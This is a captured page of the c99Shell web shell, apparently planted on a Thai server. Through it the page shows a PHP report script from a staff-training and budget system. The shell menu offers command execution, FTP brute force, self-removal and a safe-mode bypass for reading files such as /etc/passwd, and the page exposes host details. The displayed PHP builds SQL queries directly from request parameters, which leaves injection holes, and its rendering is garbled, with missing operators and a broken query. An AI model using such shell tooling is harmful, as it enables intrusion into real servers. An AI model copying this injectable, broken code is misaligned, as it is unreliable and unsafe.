!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/develop_person_depart/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ExcelreDev_10.php (17.63 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
         
header('Content-type: application/xls');
         
header('Content-Disposition: attachment; filename="Report.xls"');
        require_once( 
"../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../includes/Function.php" );
        
        
/**  Create Database Object  */
        
$dbObj = new DBConn;
        
        
//=== SESSION
        
$Username $valid_user
        
        
        
/**  Config Table for This Page  */
        
$myTable1 "personal_tb";
        
$myTable2PK "tt.Training_code  ";
        
        
        
        
        
/**  Paging */
        
$page $_GET['page'];
        if( 
$page == "" ) { $page 1; }
        
        
/**  จำนวนข้อมูล ต่อ 1 หน้า  */
        
$perpage $_REQUEST['perpage'];
        if( 
$perpage == "" ) { $perpage 1000; }
        
    
$param "Year_std=$Year_std&Training_std=$Training_std";            
    } 
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<title>งานพัฒนาบุคลากร</title>

<script language="javascript" src="../js/utilities.js"></script>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">

<table width="1011" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="1011" height="440" align="center" valign="top" style="padding:10px 0px 5px 10px">
      <?php
        
/**  Config Paging  */
        
if( $perpage == "" ) { $limit $_Config_limit; }
        else { 
$limit $perpage; }
        
        
$scroll $_Config_scroll
        
        
        
/**  ตั้งค่า Default สำหรับการทำ Order By  */
        
if( $OrderBy == "" ) { $OrderBy $myTable2PK; }
                        
        if( !isset(
$_GET['ASCDESC']) ) { $ASCDESC "DESC"; }
                        
        if( 
$_GET['ASCDESC'] == "DESC" ) { $ASCDESC "ASC"; }
        elseif( 
$_GET['ASCDESC'] == "ASC" ) { $ASCDESC "DESC"; } 
        
        
/**  Query เพื่อหา Numrows ก่อน  */
               
$query " SELECT *  FROM   personal_tb pt,  training_tb tt   Where   pt.StatusId='1'  and   pt.Teacher_code = tt.Teacher_code   and   tt.Year_std='$Year_std'   and  tt.Training_std='Y'   Group   By   pt.Teacher_code     ORDER BY  tt.Content    DESC  ";
                                   
               
$result $dbObj->execQuery($query);
               
$numrows $dbObj->_numrows;
        
        
/**  Paging  */
        
$display = ( !isset ($_GET['page']) ) ? $_GET['page'];
        
$start = ( ($display $limit) - $limit );
        
/**  Paging  */
        
        
if( isset($_GET['OrderBy']) ) {
            
$query " SELECT *  FROM  personal_tb pt,  training_tb tt   Where   pt.StatusId='1'  and   pt.Teacher_code = tt.Teacher_code   and   tt.Year_std='$Year_std'   and  tt.Training_std='Y'   Group   By   pt.Teacher_code    ORDER BY $OrderBy $ASCDESC ";
        } 
        elseif( !isset(
$_GET['OrderBy']) ) {
            
$query " SELECT *  FROM personal_tb pt,  training_tb tt   Where   pt.StatusId='1'  and   pt.Teacher_code = tt.Teacher_code   and   tt.Year_std='$Year_std'   and  tt.Training_std='Y'   Group   By   pt.Teacher_code     ORDER BY $myTable2PK DESC ";
        }
        
        
$query .= " LIMIT $start, $limit ";
        
$result $dbObj->execQuery($query);
    
?>
      
        <table width="1021" border="0" cellspacing="0" cellpadding="0">
          <form id="myForm" name="myForm" method="post" action="<?=$PHP_SELF;?>?<?=$param ;?>&amp;page=<?=$page;?>">
            <tr>
              <td width="1021">&nbsp;</td>
            </tr>
            <tr>
              <td align="center"><?php if( $numrows ) { ?>
                <table width="1006" border="1" align="center" cellpadding="0" cellspacing="0" class="BORDER-GREY">
                  <tr bgcolor="#F8F8F8">
                    <td height="25" align="center">&nbsp;</td>
                    <td align="center" bgcolor="#F8F8F8" class="BORDER-LEFT">&nbsp;</td>
                    <td width="180" rowspan="2" align="center" class="BORDER-LEFT">วันที่</td>
                    <td width="53" rowspan="2" align="center" class="BORDER-LEFT">จำนวน <br />
                      หลักสูตร</td>
                    <td width="44" rowspan="2" align="center" class="BORDER-LEFT">จำนวน <br />ชั่วโมง</td>
                    <td width="40" rowspan="2" align="center" class="BORDER-LEFT">จำนวน<br />วัน</td>
                    <td colspan="4" align="center" class="BORDER-LEFT">แหล่งเงินงบประมาณ</td>
                  </tr>
                  <tr bgcolor="#F8F8F8">
                    <td width="20" height="25" align="center">No.</td>
                    <td width="459" align="center" bgcolor="#F8F8F8" class="BORDER-LEFT">รายการ</td>
                    <td width="49" align="center" class="BORDER-TOP-LEFT  PADDING-LEFT-3">เงินงบ <br />ประมาณ</td>
                    <td width="57" align="center" class="BORDER-TOP-LEFT  PADDING-LEFT-3">เงินรายได้</td>
                    <td width="58" align="center" class="BORDER-TOP-LEFT  PADDING-LEFT-3">เงินหน่วย <br />งานผู้จัด</td>
                    <td width="44" align="center" class="BORDER-TOP-LEFT  PADDING-LEFT-3">เงินอื่นๆ</td>
                  </tr>
                  <?php 
           $no 
1+($display-1)*$limit;
            while( 
$rs $dbObj->fetchArray($result) ) { 
                
$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" "#FFFFFF";
          
?>
                  <tr bgcolor="<?=$bgColor;?>" onmouseover="this.style.backgroundColor='#F5F9F9'" onmouseout="this.style.backgroundColor=''">
                    <td height="23" align="center" class="BORDER-TOP"><?=$no;?></td>
                    <td align="left" class="BORDER-TOP-LEFT PADDING-LEFT-3 PADDING-TOP-3 PADDING-BOTTOM-3"><?
            
              $sql 
"Select *, prefixName as First_name FROM personal_tb LEFT JOIN prefix ON personal_tb.First_name = prefix.prefixId Where Teacher_code ='$rs[Teacher_code]' ";
              
$result3 mysql_query($sql) or die("Error".mysql_error());
             
$rs3 mysql_fetch_array($result3);
          echo 
"$rs3[First_name] $rs3[Teacher_name]&nbsp;&nbsp;$rs3[Teacher_lastname]";?></td>
                    <td align="center" class="BORDER-TOP BORDER-LEFT">&nbsp;</td>
                    <td align="center" class="BORDER-TOP BORDER-LEFT">
                      <?php 
                $query 
" SELECT *  FROM  training_tb   WHERE  Training_std='$Training_std'   and    Year_std='$Year_std'  and  Teacher_code  ='$rs[Teacher_code]'  ";
                
$result1 $dbObj->execQuery($query); 
                
$rs1 $dbObj->fetchArray($result1);
                
$num1 $dbObj->_numrows;
                if( 
$num1 ) {
                    echo 
$num1;
                } else {
                    echo 
"<font color=red>0</font>";
                }
          
?>
                    </td>
                    <td align="center" class="BORDER-TOP BORDER-LEFT">&nbsp;</td>
                    <td align="center" class="BORDER-TOP BORDER-LEFT"><?php
                
                $query6 
" SELECT SUM(Day) AS  Sum  FROM  training_tb  Where    Year_std='$Year_std'  and  Teacher_code ='$rs[Teacher_code]'   ";  
                
$result6 $dbObj->execQuery($query6);
                
$rs6 $dbObj->fetchArray($result6);
                
$dbObj->freeresult($rs6);
                    echo   
number_format($rs6['Sum'])  ;
            
?></td>
                     <?  
                   $sql 
" SELECT SUM(Budget_use) AS  moneybudget1  FROM   training_tb  tt , personal_tb pt    Where   tt.Year_std='$Year_std' and    pt.Teacher_code = tt.Teacher_code  and   pt.Teacher_code ='$rs[Teacher_code]'  ";
                   
$result4 mysql_query($sql);
                   
$rs4 mysql_fetch_array($result4) ;
                   
$sql " SELECT SUM(moneybudget2) AS  moneybudget2  FROM  dev_his dh ,dev_hrperson dp    Where   dh.Year_std='$Year_std' and   dp.perid = dh.perid   and   dp.poscode ='$rs[poscode]'  ";
                   
$result5 mysql_query($sql);
                   
$rs5 mysql_fetch_array($result5) ;
                  
                  
$sql " SELECT SUM(moneybudget3) AS  moneybudget3  FROM  dev_his dh ,dev_hrperson dp    Where  dh.Year_std='$Year_std' and    dp.perid = dh.perid   and   dp.poscode ='$rs[poscode]'  ";
                   
$result7mysql_query($sql);
                   
$rs7 mysql_fetch_array($result7) ;
                   
                   
$sql " SELECT SUM(Budget_user) AS  moneybudget4  FROM   training_tb  tt , personal_tb pt    Where   tt.Year_std='$Year_std' and    pt.Teacher_code = tt.Teacher_code  and   pt.Teacher_code ='$rs[Teacher_code]'  ";
                   
$result8 mysql_query($sql);
                   
$rs8 mysql_fetch_array($result8) ;
               
?>
               
                    <td align="right" class="BORDER-TOP BORDER-LEFT PADDING-RIGHT-5"><?php echo number_format($rs4['moneybudget1'],2,'.',',');?></span></td>
                    <td align="right" class="BORDER-TOP BORDER-LEFT PADDING-RIGHT-5"><?php echo number_format($rs6['moneybudget2'],2,'.',',');?></span></td>
                    <td align="right" class="BORDER-TOP BORDER-LEFT PADDING-RIGHT-5"><?php echo number_format($rs7['moneybudget3'],2,'.',',');?></span></td>
                    <td align="right" class="BORDER-TOP BORDER-LEFT PADDING-RIGHT-5"><?php echo number_format($rs8['moneybudget4'],2,'.',',');?></span></td>
                  </tr>
                  <?
                    $query 
" SELECT *  FROM   training_tb    WHERE    Year_std='$Year_std'   and  Teacher_code = '".$rs['Teacher_code']."' Order  By  Training_code   ";
                    
$result2 mysql_query($query);
                      while(
$rss mysql_fetch_array($result2)){ ;
                    
$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" "#FFFFFF";    
                    
?>
                  <tr bgcolor="<?=$bgColor;?>" onmouseover="this.style.backgroundColor='#F5F9F9'" onmouseout="this.style.backgroundColor=''">
                    <td height="23" align="center" class="BORDER-TOP">&nbsp;</td>
                    <td align="left" class="BORDER-TOP-LEFT PADDING-LEFT-3 PADDING-TOP-3 PADDING-BOTTOM-3"><?=$rss['Training_name'];?></td>
                    <td align="right" class="BORDER-TOP BORDER-LEFT PADDING-RIGHT-5">
                      <?php 
                $sday 
$rss['Date_start'];
                
$yearthai explode("-",$sday);
                
$day intval($yearthai[2]);
                
$month =  intval($yearthai[1]);
                
$year intval($yearthai[0]);     
                
$m getThaiSubMonth($month);
                    echo 
"$day"." "."$m"." "."$year";
            
?>
-
<?php 
                $sday 
$rss['Date_finish'];
                
$yearthai explode("-",$sday);
                
$day intval($yearthai[2]);
                
$month =  intval($yearthai[1]);
                
$year intval($yearthai[0]);     
                
$m getThaiSubMonth($month);
                    echo 
"$day"." "."$m"." "."$year";
            
?>
                   </td>
                    <td align="center" class="BORDER-TOP BORDER-LEFT">&nbsp;</td>
                    <td align="center" class="BORDER-TOP BORDER-LEFT">&nbsp;</td>
                    <td align="center" class="BORDER-TOP BORDER-LEFT"><?php
                
                $query6 
" SELECT SUM(Day) AS  Sum  FROM  training_tb  Where    Year_std='$Year_std'  and  Training_code ='$rss[Training_code]'   ";  
                
$result6 $dbObj->execQuery($query6);
                
$rs6 $dbObj->fetchArray($result6);
                
$dbObj->freeresult($rs6);
                    echo   
number_format($rs6['Sum'])  ;
            
?></td>
                    <?  
                   $sql 
" SELECT SUM(moneybudget1) AS  moneybudget1  FROM  dev_his dh  Where   dh.cname ='$rss[cname]'   ";
                   
$result4 mysql_query($sql);
                   
$rss4 mysql_fetch_array($result4) ;
                   
$sql " SELECT SUM(moneybudget2) AS  moneybudget2  FROM   dev_his dh  Where   dh.cname='$rss[cname]'   ";
                   
$result6 mysql_query($sql);
                   
$rss6 mysql_fetch_array($result6) ;
                  
                  
$sql " SELECT SUM(moneybudget3) AS  moneybudget3  FROM   dev_his dh  Where   dh.cname='$rss[cname]'   ";
                   
$result7mysql_query($sql);
                   
$rss7 mysql_fetch_array($result7) ;
                   
                   
$sql " SELECT SUM(Budget_user) AS  moneybudget4  FROM   d FROM  training_tb  Where    Year_std='$Year_std'  and  Training_code ='$rss[Training_code]'  ";
                   
$result8 mysql_query($sql);
                   
$rss8 mysql_fetch_array($result8) ;
               
?>
                    <td align="right" class="BORDER-TOP BORDER-LEFT PADDING-RIGHT-5"><?php 
                       $sql 
" SELECT SUM(Budget_use) AS  moneybudget2  FROM   training_tb  tt , personal_tb pt    Where   tt.Year_std='$Year_std' and    pt.Teacher_code = tt.Teacher_code  and   tt.Training_code ='$rss[Training_code]'  ";
                   
$result4 mysql_query($sql);
                   
$rs4 mysql_fetch_array($result4) ;
                     echo 
number_format($rs4['moneybudget2'],2,'.',',');?></td>
                    <td align="right" class="BORDER-TOP BORDER-LEFT PADDING-RIGHT-5"><?php echo number_format($rs24['moneybudget2'],2,'.',',');?></td>
                    <td align="right" class="BORDER-TOP BORDER-LEFT PADDING-RIGHT-5"><?php echo number_format($rss7['moneybudget3'],2,'.',',');?></td>
                    <td align="right" class="BORDER-TOP BORDER-LEFT PADDING-RIGHT-5"><?php 
                       $sql 
" SELECT SUM(Budget_user) AS  moneybudget2  FROM   training_tb  tt , personal_tb pt    Where   tt.Year_std='$Year_std' and    pt.Teacher_code = tt.Teacher_code  and   tt.Training_code ='$rss[Training_code]'  ";
                   
$result4 mysql_query($sql);
                   
$rs4 mysql_fetch_array($result4) ;
                     echo 
number_format($rs4['moneybudget2'],2,'.',',');?></td>
                  </tr>
                  <?php
                
# while
              
?>
                  <?php 
               $no
++;
            } 
# while 
            
              
$dbObj->freeresult($result);
          
?>
                </table>
                <?php #if ?>
                <table width="97%" border="0" align="center" cellpadding="0" cellspacing="0">
                  <tr>
                    <td><?php if( $numrows ) { ?>
                      <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
                        <tr>
                          <td height="10"></td>
                        </tr>
                        <tr>
                          <td align="left"><span style="font-size:12px">หน้า:
                            <?php
                        
/**  ตรวจสอบการ Order By ของ Query */
                        
if( $ASCDESC=="ASC") { $ASCDESC "DESC"; }  else { $ASCDESC="ASC"; } 
                        
                        
$paging ceil($numrows/$limit);
                                
                        
//=== Display the navigation
                        
if ($display 1) {    
                            
$previous $display 1;                    
                    
?>
                            <a href="<?=$PHP_SELF;?>?page=1&amp;perpage=<?=$perpage;?>&amp;OrderBy=<?=$OrderBy;?>&amp;ASCDESC=<?=$ASCDESC;?>&amp;<?=$param;?>"><font color="#FE830B">|&laquo; หน้าแรก</font></a>&nbsp; <a href="<?=$PHP_SELF;?>?page=<?=$previous;?>&amp;perpage=<?=$perpage;?>&amp;OrderBy=<?=$OrderBy;?>&amp;ASCDESC=<?=$ASCDESC;?>&amp;<?=$param;?>"><font color="#FE830B">&laquo; ก่อนหน้า</font></a>
                            <?php
                        
// end..if
                        
if($numrows != $limit) {                 
                            if(
$paging $scroll) { 
                                
$first $_GET['page']; 
                                
$last = ($scroll 1) + $_GET['page']; 
                            } else {                         
                                
$first 1;                        
                                
$last $paging;                        
                            } 
                            
                            if(
$last $paging ) {                            
                                
$first $paging - ($scroll 1);                            
                                
$last $paging;                            
                            }
                                            
                            for(
$i=$first$i<=$last$i++) {                        
                                if(
$display == $i) {        
                                    echo 
"<font color=red size=2> [<strong>$i</strong>] </font>";
                                } 
                                else {
                                    
//echo " <a href=\"$PHP_SELF?page=$i&user_id=$user_id&user_login=$user_login\">$i</a> ";
                                    
printf(" <a href=\"%s?page=%s&perpage=%s&OrderBy=%s&ASCDESC=%s&$param=%s\">%s</a> "$_SERVER['PHP_SELF'], $i$perpage$OrderBy$ASCDESC$param $i );
                                }        
                            } 
// end..for
                        
// end..if
                            
                        
if($display $paging) {
                            
$next $display 1;                        
                    
?>
                            &nbsp;<a href="<?=$PHP_SELF;?>?page=<?=$next;?>&amp;perpage=<?=$perpage;?>&amp;OrderBy=<?=$OrderBy;?>&amp;ASCDESC=<?=$ASCDESC;?>&amp;<?=$param ;?>"><font color="#FE830B">ถัดไป &raquo;</font></a> &nbsp;<a href="<?=$PHP_SELF;?>?page=<?=$paging;?>&amp;perpage=<?=$perpage;?>&amp;OrderBy=<?=$OrderBy;?>&amp;ASCDESC=<?=$ASCDESC;?>&amp;<?=$param;?>"><font color="#FE830B">หน้าสุดท้าย &raquo;|</font></a>
                            <?php
                    
// end..if
                
?>
                          </span></td>
                        </tr>
                      </table>
                    <?php #if ?></td>
                  </tr>
              </table></td>
            </tr>
            <tr>
              <td>&nbsp;</td>
          </tr></form>
        </table>
   </td>
  </tr>
</table>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0207 ]--